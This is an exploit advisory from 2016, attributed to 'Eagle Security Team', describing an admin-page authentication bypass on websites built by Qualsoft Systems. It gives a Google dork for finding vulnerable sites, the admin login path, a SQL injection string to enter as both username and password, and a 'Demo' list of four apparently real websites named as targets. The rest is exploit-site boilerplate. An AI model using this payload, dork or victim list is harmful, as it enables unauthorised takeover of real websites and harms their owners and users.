Qualsoft Systems Pvt. Ltd. Admin Page Bypass

2016.10.30

Eagle Security Team (IR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: "Powered By Qualsoft Systems Pvt. Ltd."

# Exploit Title: Qualsoft Systems Pvt. Ltd. Admin Page Bypass
# Google Dork : "Powered By Qualsoft Systems Pvt. Ltd."
# We Are Eagle Security Team
# Data: 2016/10/29
# Home: EagleTeam.ir
# Discovered By: MR_7KH4T
# Tested on : Win7 / Mozilla FireFox
##########################

# Poc :

www.site.com/Adminlogin.php

##########################

# Username : '=' 'or'

# Password : '=' 'or'

##########################

Demo :

http://www.pnmnanded.in/Adminlogin.php
http://www.cdtudgir.in/Adminlogin.php
http://www.dnyanada.net/Adminlogin.php
http://kohinoorgroupnanded.com/Adminlogin.php


# Discovered By: MR_7KH4T And Mr Keeper

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Qualsoft Systems Pvt. Ltd. Admin Page Bypass

Dork: "Powered By Qualsoft Systems Pvt. Ltd."

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.